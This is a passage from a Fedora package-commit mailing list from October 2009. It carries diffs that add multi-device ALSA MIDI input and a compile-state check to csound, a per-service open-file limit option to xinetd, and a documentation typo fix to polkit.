+        retval = ret;
     }
     return retval;
 }
@@ -765,8 +844,8 @@ static int midi_out_open(CSOUND *csound, void **userData, const char *devName)
       s = devName;
     err = snd_rawmidi_open(NULL, &dev, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device"));
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device '%s'"));
+      return 0;
     }
     csound->Message(csound, Str("ALSA: opened MIDI output device '%s'\n"), s);
     (*userData) = (void*) dev;

csound-5.10.1-compile-flag.patch:
 csound.c |   16 ++++++++++++++++
 main.c   |   12 ++++++++++--
 2 files changed, 26 insertions(+), 2 deletions(-)

--- NEW FILE csound-5.10.1-compile-flag.patch ---
diff -ur Csound5.10.1/Top/csound.c Csound5.10.1-patch/Top/csound.c
--- Csound5.10.1/Top/csound.c	2009-10-15 21:46:28.608183562 -0400
+++ Csound5.10.1-patch/Top/csound.c	2009-10-15 21:53:50.272631365 -0400
@@ -1363,6 +1363,10 @@
   {
       int done;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1383,6 +1387,10 @@
   {
       int done = 0;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1402,6 +1410,10 @@
   {
       int returnValue;
       int done;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* Setup jmp for return after an exit(). */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1427,6 +1439,10 @@
       int done;
       int returnValue;
       csound->performState = 0;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
diff -ur Csound5.10.1/Top/main.c Csound5.10.1-patch/Top/main.c
--- Csound5.10.1/Top/main.c	2008-08-11 03:42:21.000000000 -0400
+++ Csound5.10.1-patch/Top/main.c	2009-10-15 21:49:14.804391186 -0400
@@ -89,7 +89,8 @@
     dbfs_init(csound, DFLT_DBFS);
     csound->csRtClock = (RTCLOCK*) csound->Calloc(csound, sizeof(RTCLOCK));
     csoundInitTimerStruct(csound->csRtClock);
-    csound->engineState |= CS_STATE_COMP | CS_STATE_CLN;
+    /* WTB - Oct 15 2009: only set CS_STATE_CLN; CS_STATE_COMP set when retval=0. */
+    csound->engineState |= /*CS_STATE_COMP |*/ CS_STATE_CLN;
 
 #ifndef USE_DOUBLE
 #ifdef BETA
@@ -430,6 +431,13 @@
 
     }
 
-    return musmon(csound);
+    n = musmon(csound);
+
+    /* WTB - Oct 15 2009: CS_STATE_COMP set when retval=0. */
+    if (n == 0) {
+		csound->engineState |= CS_STATE_COMP;
+    }
+
+    return n;
 }
 


Index: csound.spec
===================================================================
RCS file: /cvs/pkgs/rpms/csound/F-12/csound.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- csound.spec	5 Sep 2009 14:12:06 -0000	1.33
+++ csound.spec	20 Oct 2009 13:27:22 -0000	1.34
@@ -14,7 +14,7 @@
 Summary:       A sound synthesis language and library
 Name:          csound
 Version:       5.10.1
-Release:       12%{?dist}
+Release:       13%{?dist}
 URL:           http://csound.sourceforge.net/
 License:       LGPLv2+
 Group:         Applications/Multimedia
@@ -49,10 +49,11 @@ Patch5: csound-5.10.1-64-bit-plugin-path
 Patch6: csound-5.10.1-fix-conflicts.patch
 Patch7: csound-5.10.1-fix-locale-install.patch
 Patch8: csound-5.10.1-enable-oggplay.patch
-
 Patch9: csound-2817271-soname.patch
 Patch0: csound-fixpython.patch
 Patch10: csound-default-pulse.patch
+Patch11: csound-5.10.1-compile-flag.patch
+Patch12: csound-5.10.1-all-midi.patch
 
 %description
 Csound is a sound and music synthesis system, providing facilities for
@@ -197,6 +198,8 @@ Canonical Reference Manual for Csound.
 %patch8 -p1 -b .enable-oggplay
 %patch9 -p1 -b .2817271-soname
 %patch10 -p1 -b .default-pulse
+%patch11 -p1 -b .compile-flag
+%patch12 -p1 -b .all-midi
 
 tar xf %{SOURCE1}
 (cd manual; unzip -q %{SOURCE2})
@@ -430,9 +433,15 @@ fi
 %doc manual/examples
 
 %changelog
+* Tue Oct 20 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-13
+- Fix use of multiple midi devices, fix segfault (RHBZ 529293)
+
 * Sat Sep  5 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-12
 - Build fixes, set PulseAudio as default
 
+* Tue Aug 18 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-11
+- Further python build fixes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.10.1-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pbrobinson at fedoraproject.org  Tue Oct 20 13:28:18 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 20 Oct 2009 13:28:18 +0000 (UTC)
Subject: rpms/csound/F-11 csound-5.10.1-all-midi.patch, NONE,
	1.1 csound-5.10.1-compile-flag.patch, NONE, 1.1 csound.spec,
	1.26, 1.27
Message-ID: <20091020132818.646C211C0081@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/csound/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7384

Modified Files:
	csound.spec 
Added Files:
	csound-5.10.1-all-midi.patch csound-5.10.1-compile-flag.patch 
Log Message:
- Fix use of multiple midi devices, fix segfault (RHBZ 529293)

csound-5.10.1-all-midi.patch:
 rtalsa.c |  187 ++++++++++++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 133 insertions(+), 54 deletions(-)

--- NEW FILE csound-5.10.1-all-midi.patch ---
diff --git a/InOut/rtalsa.c b/InOut/rtalsa.c
index 94bd9fe..381ad97 100644
--- a/InOut/rtalsa.c
+++ b/InOut/rtalsa.c
@@ -2,6 +2,7 @@
     rtalsa.c:
 
     Copyright (C) 2005 Istvan Varga
+              (C) 2009 Andr?s Cabrera, Clemens Ladisch
 
     This file is part of Csound.
 
@@ -82,8 +83,10 @@ typedef struct alsaMidiInputDevice_ {
     snd_rawmidi_t  *dev;
     int            bufpos, nbytes, datreq;
     unsigned char  prvStatus, dat1, dat2;
+    struct alsaMidiInputDevice_ *next;
 } alsaMidiInputDevice;
 
+
 typedef struct midiDevFile_ {
     unsigned char  buf[BUF_SIZE];
     int            fd;
@@ -665,29 +668,89 @@ static void rtclose_(CSOUND *csound)
     }
 }
 
-static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+static alsaMidiInputDevice* open_midi_device(CSOUND *csound, const char  *s)
 {
-    alsaMidiInputDevice *dev;
-    const char  *s = "hw:0,0";
     int         err;
+    alsaMidiInputDevice *dev;
 
-    (*userData) = NULL;
     dev = (alsaMidiInputDevice*) malloc(sizeof(alsaMidiInputDevice));
     if (dev == NULL) {
       csound->ErrorMsg(csound, Str("ALSA MIDI: memory allocation failure"));
-      return -1;
+      return dev;
     }
     memset(dev, 0, sizeof(alsaMidiInputDevice));
-    if (devName != NULL && devName[0] != '\0')
-      s = devName;
     err = snd_rawmidi_open(&(dev->dev), NULL, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device"));
-      free((void*) dev);
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI input device: '%s'"), s);
+      free(dev);
+      return NULL;
     }
     csound->Message(csound, Str("ALSA: opened MIDI input device '%s'\n"), s);
-    (*userData) = (void*) dev;
+    return dev;
+}
+
+// This is the function which contains code from amidi
+static int midi_in_open(CSOUND *csound, void **userData, const char *devName)
+{
+    alsaMidiInputDevice *dev, *newdev, *olddev;
+    const char  *s = "hw:0,0";
+    int card, err;
+    int device;
+    snd_ctl_t *ctl;
+    char* name;
+    name = (char *) calloc(32, sizeof(char));
+
+    (*userData) = NULL;
+    olddev = NULL;
+    if (devName[0] == 'a') {
+      csound->Message(csound, Str("ALSA midi: Using all devices.\n"));
+      card = -1;
+      if (snd_card_next(&card) >= 0 && card >= 0) {
+        do {
+          sprintf(name, "hw:%d", card);
+          if (snd_ctl_open(&ctl, name, 0) >= 0) {
+            device = -1;
+            for (;;) {
+              if (snd_ctl_rawmidi_next_device(ctl, &device) < 0) {
+                break;
+              }
+              if (device < 0)
+                break;
+              sprintf(name, "hw:%d,%d", card, device);
+              newdev = open_midi_device(csound, name);
+              if (newdev != NULL) {   /* Device opened successfully */
+                if (olddev != NULL) {
+                  olddev->next = newdev;
+                }
+                else { /* First Device */
+                  dev = newdev;
+                }
+                olddev = newdev;
+                newdev = NULL;
+              }
+	      else { /* Device couldn't be opened */
+		csound->Message(csound,
+				Str("ALSA midi: Error opening device: %s\n"),
+				name);
+	      }
+            }
+          }
+          if (snd_card_next(&card) < 0)
+            break;
+        } while (card >= 0);
+
+        snd_ctl_close(ctl);
+      }
+    }
+    else if (devName != NULL && devName[0] != '\0') {
+      dev = open_midi_device(csound, devName);
+      if (dev == NULL) {
+        free(name);
+        return -1;
+      }
+    }
+    *userData = (void*) dev;
+    free(name);
     return 0;
 }
 
@@ -698,58 +761,74 @@ static int midi_in_read(CSOUND *csound,
     int             bufpos = 0;
     unsigned char   c;
 
-    (void) csound;
-    while ((nbytes - bufpos) >= 3) {
-      if (dev->bufpos >= dev->nbytes) { /* read from device */
-        int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
-        dev->bufpos = 0;
-        if (n <= 0) {                   /* until there is no more data left */
-          dev->nbytes = 0;
-          break;
+    if (!dev) { /* No devices */
+     /*  fprintf(stderr, "No devices!"); */
+      return 0;
+    }
+    /* (void) csound; */
+    dev->bufpos = 0;
+    while (dev && dev->dev) {
+      while ((nbytes - bufpos) >= 3) {
+        if (dev->bufpos >= dev->nbytes) { /* read from device */
+          int n = (int) snd_rawmidi_read(dev->dev, &(dev->buf[0]), BUF_SIZE);
+          dev->bufpos = 0;
+          if (n <= 0) {                   /* until there is no more data left */
+            dev->nbytes = 0;
+            break;
+          }
+          dev->nbytes = n;
         }
-        dev->nbytes = n;
-      }
-      c = dev->buf[dev->bufpos++];
-      if (c >= (unsigned char) 0xF8) {          /* real time message */
-        buf[bufpos++] = c;
-        continue;
-      }
-      if (c == (unsigned char) 0xF7)            /* end of system exclusive */
-        c = dev->prvStatus;
-      if (c < (unsigned char) 0x80) {           /* data byte */
-        if (dev->datreq <= 0)
+        c = dev->buf[dev->bufpos++];
+        if (c >= (unsigned char) 0xF8) {          /* real time message */
+          buf[bufpos++] = c;
           continue;
-        if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
-          dev->dat1 = c;
-        else
-          dev->dat2 = c;
-        if (--(dev->datreq) != 0)
+        }
+        if (c == (unsigned char) 0xF7)            /* end of system exclusive */
+          c = dev->prvStatus;
+        if (c < (unsigned char) 0x80) {           /* data byte */
+          if (dev->datreq <= 0)
+            continue;
+          if (dev->datreq == (int) dataBytes[(int) dev->prvStatus >> 4])
+            dev->dat1 = c;
+          else
+            dev->dat2 = c;
+          if (--(dev->datreq) != 0)
+            continue;
+          dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
+          buf[bufpos] = dev->prvStatus;
+          buf[bufpos + 1] = dev->dat1;
+          buf[bufpos + 2] = dev->dat2;
+          bufpos += (dev->datreq + 1);
           continue;
-        dev->datreq = dataBytes[(int) dev->prvStatus >> 4];
-        buf[bufpos] = dev->prvStatus;
-        buf[bufpos + 1] = dev->dat1;
-        buf[bufpos + 2] = dev->dat2;
-        bufpos += (dev->datreq + 1);
-        continue;
-      }
-      else if (c < (unsigned char) 0xF0) {      /* channel message */
-        dev->prvStatus = c;
-        dev->datreq = dataBytes[(int) c >> 4];
-        continue;
+        }
+        else if (c < (unsigned char) 0xF0) {      /* channel message */
+          dev->prvStatus = c;
+          dev->datreq = dataBytes[(int) c >> 4];
+          continue;
+        }
+        if (c < (unsigned char) 0xF4)             /* ignore system messages */
+          dev->datreq = -1;
       }
-      if (c < (unsigned char) 0xF4)             /* ignore system messages */
-        dev->datreq = -1;
+      dev = dev->next;
     }
     return bufpos;
 }
 
 static int midi_in_close(CSOUND *csound, void *userData)
 {
-    int retval = 0;
+    int ret, retval = 0;
+    alsaMidiInputDevice *olddev, *dev = NULL;
     (void) csound;
-    if (userData != NULL) {
-      retval = snd_rawmidi_close(((alsaMidiInputDevice*) userData)->dev);
-      free(userData);
+    dev = (alsaMidiInputDevice*) userData;
+    while (dev != NULL) {
+      if (dev->dev) {
+        ret = snd_rawmidi_close(dev->dev); 
+      }     
+      olddev = dev;
+      dev = dev->next;
+      free(olddev);
+      if (retval != -1)
+        retval = ret;
     }
     return retval;
 }
@@ -765,8 +844,8 @@ static int midi_out_open(CSOUND *csound, void **userData, const char *devName)
       s = devName;
     err = snd_rawmidi_open(NULL, &dev, s, SND_RAWMIDI_NONBLOCK);
     if (err != 0) {
-      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device"));
-      return -1;
+      csound->ErrorMsg(csound, Str("ALSA: error opening MIDI output device '%s'"));
+      return 0;
     }
     csound->Message(csound, Str("ALSA: opened MIDI output device '%s'\n"), s);
     (*userData) = (void*) dev;

csound-5.10.1-compile-flag.patch:
 csound.c |   16 ++++++++++++++++
 main.c   |   12 ++++++++++--
 2 files changed, 26 insertions(+), 2 deletions(-)

--- NEW FILE csound-5.10.1-compile-flag.patch ---
diff -ur Csound5.10.1/Top/csound.c Csound5.10.1-patch/Top/csound.c
--- Csound5.10.1/Top/csound.c	2009-10-15 21:46:28.608183562 -0400
+++ Csound5.10.1-patch/Top/csound.c	2009-10-15 21:53:50.272631365 -0400
@@ -1363,6 +1363,10 @@
   {
       int done;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1383,6 +1387,10 @@
   {
       int done = 0;
       int returnValue;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1402,6 +1410,10 @@
   {
       int returnValue;
       int done;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* Setup jmp for return after an exit(). */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
@@ -1427,6 +1439,10 @@
       int done;
       int returnValue;
       csound->performState = 0;
+      /* WTB - Oct 15 2009: only perform if CS_STATE_COMP set. */
+      if (UNLIKELY((csound->engineState & CS_STATE_COMP) == 0)) {
+    	  return 1;
+      }
       /* setup jmp for return after an exit() */
       if ((returnValue = setjmp(csound->exitjmp))) {
 #ifndef MACOSX
diff -ur Csound5.10.1/Top/main.c Csound5.10.1-patch/Top/main.c
--- Csound5.10.1/Top/main.c	2008-08-11 03:42:21.000000000 -0400
+++ Csound5.10.1-patch/Top/main.c	2009-10-15 21:49:14.804391186 -0400
@@ -89,7 +89,8 @@
     dbfs_init(csound, DFLT_DBFS);
     csound->csRtClock = (RTCLOCK*) csound->Calloc(csound, sizeof(RTCLOCK));
     csoundInitTimerStruct(csound->csRtClock);
-    csound->engineState |= CS_STATE_COMP | CS_STATE_CLN;
+    /* WTB - Oct 15 2009: only set CS_STATE_CLN; CS_STATE_COMP set when retval=0. */
+    csound->engineState |= /*CS_STATE_COMP |*/ CS_STATE_CLN;
 
 #ifndef USE_DOUBLE
 #ifdef BETA
@@ -430,6 +431,13 @@
 
     }
 
-    return musmon(csound);
+    n = musmon(csound);
+
+    /* WTB - Oct 15 2009: CS_STATE_COMP set when retval=0. */
+    if (n == 0) {
+		csound->engineState |= CS_STATE_COMP;
+    }
+
+    return n;
 }
 


Index: csound.spec
===================================================================
RCS file: /cvs/pkgs/rpms/csound/F-11/csound.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- csound.spec	5 Sep 2009 14:19:11 -0000	1.26
+++ csound.spec	20 Oct 2009 13:28:18 -0000	1.27
@@ -14,7 +14,7 @@
 Summary:       A sound synthesis language and library
 Name:          csound
 Version:       5.10.1
-Release:       12%{?dist}
+Release:       13%{?dist}
 URL:           http://csound.sourceforge.net/
 License:       LGPLv2+
 Group:         Applications/Multimedia
@@ -49,10 +49,11 @@ Patch5: csound-5.10.1-64-bit-plugin-path
 Patch6: csound-5.10.1-fix-conflicts.patch
 Patch7: csound-5.10.1-fix-locale-install.patch
 Patch8: csound-5.10.1-enable-oggplay.patch
-
 Patch9: csound-2817271-soname.patch
 Patch0: csound-fixpython.patch
 Patch10: csound-default-pulse.patch
+Patch11: csound-5.10.1-compile-flag.patch
+Patch12: csound-5.10.1-all-midi.patch
 
 %description
 Csound is a sound and music synthesis system, providing facilities for
@@ -197,6 +198,8 @@ Canonical Reference Manual for Csound.
 %patch8 -p1 -b .enable-oggplay
 %patch9 -p1 -b .2817271-soname
 %patch10 -p1 -b .default-pulse
+%patch11 -p1 -b .compile-flag
+%patch12 -p1 -b .all-midi
 
 tar xf %{SOURCE1}
 (cd manual; unzip -q %{SOURCE2})
@@ -430,9 +433,15 @@ fi
 %doc manual/examples
 
 %changelog
+* Tue Oct 20 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-13
+- Fix use of multiple midi devices, fix segfault (RHBZ 529293)
+
 * Sat Sep  5 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-12
 - Build fixes, set PulseAudio as default
 
+* Tue Aug 18 2009 Peter Robinson <pbrobinson at gmail.com> - 5.10.1-11
+- Further python build fixes
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.10.1-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From jzeleny at fedoraproject.org  Tue Oct 20 13:34:01 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Tue, 20 Oct 2009 13:34:01 +0000 (UTC)
Subject: rpms/xinetd/F-12 xinetd-2.3.14-file-limit.patch, NONE,
	1.1 xinetd.init, 1.15, 1.16 xinetd.spec, 1.66, 1.67
Message-ID: <20091020133401.6ABE211C0081@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/xinetd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8292

Modified Files:
	xinetd.init xinetd.spec 
Added Files:
	xinetd-2.3.14-file-limit.patch 
Log Message:
added support for new configuration option - file limit for service

xinetd-2.3.14-file-limit.patch:
 attr.h          |    3 ++-
 child.c         |    4 ++++
 parse.c         |    3 +++
 parsers.c       |   23 +++++++++++++++++++++++
 parsers.h       |    3 +++
 sconf.h         |    2 ++
 xinetd.conf.man |    6 ++++++
 7 files changed, 43 insertions(+), 1 deletion(-)

--- NEW FILE xinetd-2.3.14-file-limit.patch ---
diff -Nurp xinetd-2.3.14-orig/xinetd/attr.h xinetd-2.3.14-files/xinetd/attr.h
--- xinetd-2.3.14-orig/xinetd/attr.h	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/attr.h	2009-10-20 13:08:45.000000000 +0200
@@ -61,12 +61,13 @@
 #define A_DISABLED         43
 #define A_MDNS             44
 #define A_LIBWRAP          45
+#define A_RLIMIT_FILES     46
 
 /*
  * SERVICE_ATTRIBUTES is the number of service attributes and also
  * the number from which defaults-only attributes start.
  */
-#define SERVICE_ATTRIBUTES      ( A_MDNS + 1 )
+#define SERVICE_ATTRIBUTES      ( A_MDNS + 2 )
 
 /*
  * Mask of attributes that must be specified.
diff -Nurp xinetd-2.3.14-orig/xinetd/child.c xinetd-2.3.14-files/xinetd/child.c
--- xinetd-2.3.14-orig/xinetd/child.c	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/child.c	2009-10-20 13:10:16.000000000 +0200
@@ -109,6 +109,10 @@ void exec_server( const struct server *s
 
 
 #ifdef RLIMIT_NOFILE
+   if ( SC_RLIM_FILES( scp ))
+   {
+      ps.ros.max_descriptors = SC_RLIM_FILES( scp );
+   }
    rl.rlim_max = rl.rlim_cur = ps.ros.max_descriptors ;
    (void) setrlimit( RLIMIT_NOFILE, &rl ) ;
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/parse.c xinetd-2.3.14-files/xinetd/parse.c
--- xinetd-2.3.14-orig/xinetd/parse.c	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parse.c	2009-10-20 13:08:45.000000000 +0200
@@ -92,6 +92,9 @@ static const struct attribute service_at
 #ifdef RLIMIT_DATA
    { "rlimit_data",    A_RLIMIT_DATA,    1,  rlim_data_parser       },
 #endif
+#ifdef RLIMIT_NOFILE
+   { "rlimit_files",   A_RLIMIT_FILES,   1,  rlim_files_parser      },
+#endif
 #ifdef RLIMIT_RSS
    { "rlimit_rss",     A_RLIMIT_RSS,     1,  rlim_rss_parser        },
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/parsers.c xinetd-2.3.14-files/xinetd/parsers.c
--- xinetd-2.3.14-orig/xinetd/parsers.c	2005-10-05 23:45:41.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parsers.c	2009-10-20 13:08:45.000000000 +0200
@@ -1415,6 +1415,29 @@ status_e rlim_data_parser( pset_h values
 }
 #endif
 
+#ifdef RLIMIT_NOFILE
+status_e rlim_files_parser( pset_h values, 
+                         struct service_config *scp, 
+                         enum assign_op op )
+{
+   char *mem = (char *) pset_pointer( values, 0 ) ;
+   const char *func = "rlim_files_parser" ;
+
+   if ( EQ( mem, "UNLIMITED" ) )
+      SC_RLIM_FILES(scp) = (rlim_t)RLIM_INFINITY ;
+   else
+   {
+      if ( get_limit ( mem, &SC_RLIM_FILES(scp)) )
+      {
+         parsemsg( LOG_ERR, func,
+            "Max files limit is invalid: %s", mem ) ;
+         return( FAILED ) ;
+      }
+   }
+   return( OK ) ;
+}
+#endif
+
 #ifdef RLIMIT_RSS
 status_e rlim_rss_parser( pset_h values, 
                           struct service_config *scp, 
diff -Nurp xinetd-2.3.14-orig/xinetd/parsers.h xinetd-2.3.14-files/xinetd/parsers.h
--- xinetd-2.3.14-orig/xinetd/parsers.h	2005-10-05 19:15:33.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/parsers.h	2009-10-20 13:08:45.000000000 +0200
@@ -57,6 +57,9 @@ status_e rlim_cpu_parser(pset_h, struct 
 #ifdef RLIMIT_DATA
 status_e rlim_data_parser(pset_h, struct service_config *, enum assign_op) ;
 #endif
+#ifdef RLIMIT_NOFILE
+status_e rlim_files_parser(pset_h, struct service_config *, enum assign_op) ;
+#endif
 #ifdef RLIMIT_RSS
 status_e rlim_rss_parser(pset_h, struct service_config *, enum assign_op) ;
 #endif
diff -Nurp xinetd-2.3.14-orig/xinetd/sconf.h xinetd-2.3.14-files/xinetd/sconf.h
--- xinetd-2.3.14-orig/xinetd/sconf.h	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/sconf.h	2009-10-20 13:08:45.000000000 +0200
@@ -143,6 +143,7 @@ struct service_config
    rlim_t               sc_rlim_as;
    rlim_t               sc_rlim_cpu;
    rlim_t               sc_rlim_data;
+   rlim_t               sc_rlim_files;
    rlim_t               sc_rlim_rss;
    rlim_t               sc_rlim_stack;
    mode_t               sc_umask;
@@ -191,6 +192,7 @@ struct service_config
 #define SC_RLIM_AS( scp )        (scp)->sc_rlim_as
 #define SC_RLIM_CPU( scp )       (scp)->sc_rlim_cpu
 #define SC_RLIM_DATA( scp )      (scp)->sc_rlim_data
+#define SC_RLIM_FILES( scp )     (scp)->sc_rlim_files
 #define SC_RLIM_RSS( scp )       (scp)->sc_rlim_rss
 #define SC_RLIM_STACK( scp )     (scp)->sc_rlim_stack
 #define SC_TYPE( scp )           (scp)->sc_type
diff -Nurp xinetd-2.3.14-orig/xinetd/xinetd.conf.man xinetd-2.3.14-files/xinetd/xinetd.conf.man
--- xinetd-2.3.14-orig/xinetd/xinetd.conf.man	2009-10-20 13:07:34.000000000 +0200
+++ xinetd-2.3.14-files/xinetd/xinetd.conf.man	2009-10-20 13:08:45.000000000 +0200
@@ -569,6 +569,12 @@ is implemented, it is more useful to set
 rlimit_rss and rlimit_stack. This resource limit is only implemented on
 Linux systems.
 .TP
+.B rlimit_files
+Sets the maximum number of open files that the service may use.
+One parameter is required, which is a positive integer representing
+the number of open file descriptors. Practical limit of this number
+is around 1024000.
+.TP
 .B rlimit_cpu
 Sets the maximum number of CPU seconds that the service may use.
 One parameter is required, which is either a positive integer representing


Index: xinetd.init
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.init,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- xinetd.init	20 Oct 2009 12:28:21 -0000	1.15
+++ xinetd.init	20 Oct 2009 13:34:00 -0000	1.16
@@ -54,7 +54,7 @@ start(){
     [ -f /etc/xinetd.conf ] || exit 6
     # this is suitable way considering SELinux is guarding write 
     # access to PID file
-	[ $EUID -eq 0 ] || exit 4
+    [ $EUID -eq 0 ] || exit 4
 
     echo -n $"Starting $prog: "
 
@@ -84,7 +84,7 @@ stop(){
     [ -f /etc/xinetd.conf ] || exit 6
     # this is suitable way considering SELinux is guarding write 
     # access to PID file
-	[ $EUID -eq 0 ] || exit 4
+    [ $EUID -eq 0 ] || exit 4
 
     echo -n $"Stopping $prog: "
     killproc -p /var/run/xinetd.pid $prog


Index: xinetd.spec
===================================================================
RCS file: /cvs/extras/rpms/xinetd/F-12/xinetd.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- xinetd.spec	20 Oct 2009 12:28:21 -0000	1.66
+++ xinetd.spec	20 Oct 2009 13:34:00 -0000	1.67
@@ -1,7 +1,7 @@
 Summary: A secure replacement for inetd
 Name: xinetd
 Version: 2.3.14
-Release: 27%{?dist}
+Release: 28%{?dist}
 License: xinetd 
 Group: System Environment/Daemons
 Epoch: 2
@@ -21,6 +21,7 @@ Patch8: xinetd-2.3.14-ident-bind.patch
 Patch9: xinetd-2.3.14-readable-debuginfo.patch
 Patch10: xinetd-2.3.14-autoconf.patch
 Patch11: xinetd-2.3.14-poll.patch
+Patch12: xinetd-2.3.14-file-limit.patch
 
 BuildRequires: autoconf, automake
 BuildRequires: libselinux-devel >= 1.30
@@ -60,6 +61,7 @@ located in the /etc/xinetd.d directory.
 %patch9 -p1 -b .readable-debuginfo
 %patch10 -p1 -b .autoconf
 %patch11 -p1 -b .poll
+%patch12 -p1 -b .file-limit
 
 aclocal
 autoconf
@@ -119,6 +121,9 @@ fi
 %{_mandir}/*/*
 
 %changelog
+* Tue Oct 20 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-28
+- added support for new configuration option - file limit for service
+
 * Tue Oct 20 2009 Jan Zeleny <jzeleny at redhat.com> - 2:2.3.14-27
 - last update of init script modified to work with SELinux correctly
 



From mclasen at fedoraproject.org  Tue Oct 20 13:38:26 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 20 Oct 2009 13:38:26 +0000 (UTC)
Subject: rpms/polkit/F-12 typo.patch,NONE,1.1 polkit.spec,1.13,1.14
Message-ID: <20091020133826.A0D5011C0081@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/polkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9365

Modified Files:
	polkit.spec 
Added Files:
	typo.patch 
Log Message:
Fix a typo


typo.patch:
 pklocalauthority.xml |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE typo.patch ---
diff -up polkit-0.95/docs/man/pklocalauthority.xml.typo polkit-0.95/docs/man/pklocalauthority.xml
--- polkit-0.95/docs/man/pklocalauthority.xml.typo	2009-10-20 09:30:30.979673326 -0400
+++ polkit-0.95/docs/man/pklocalauthority.xml	2009-10-20 09:31:06.129673675 -0400
@@ -228,8 +228,8 @@
     <para>
       All keys specified above are required except that only at least
       one
-      of <emphasis>RequireAny</emphasis>, <emphasis>RequireInactive</emphasis>
-      and <emphasis>RequireActive</emphasis> is
+      of <emphasis>ResultAny</emphasis>, <emphasis>ResultInactive</emphasis>
+      and <emphasis>ResultActive</emphasis> is
       present. The <emphasis>ReturnValue</emphasis> key is optional.
     </para>
   </refsect1>


Index: polkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/polkit/F-12/polkit.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- polkit.spec	14 Sep 2009 19:57:29 -0000	1.13
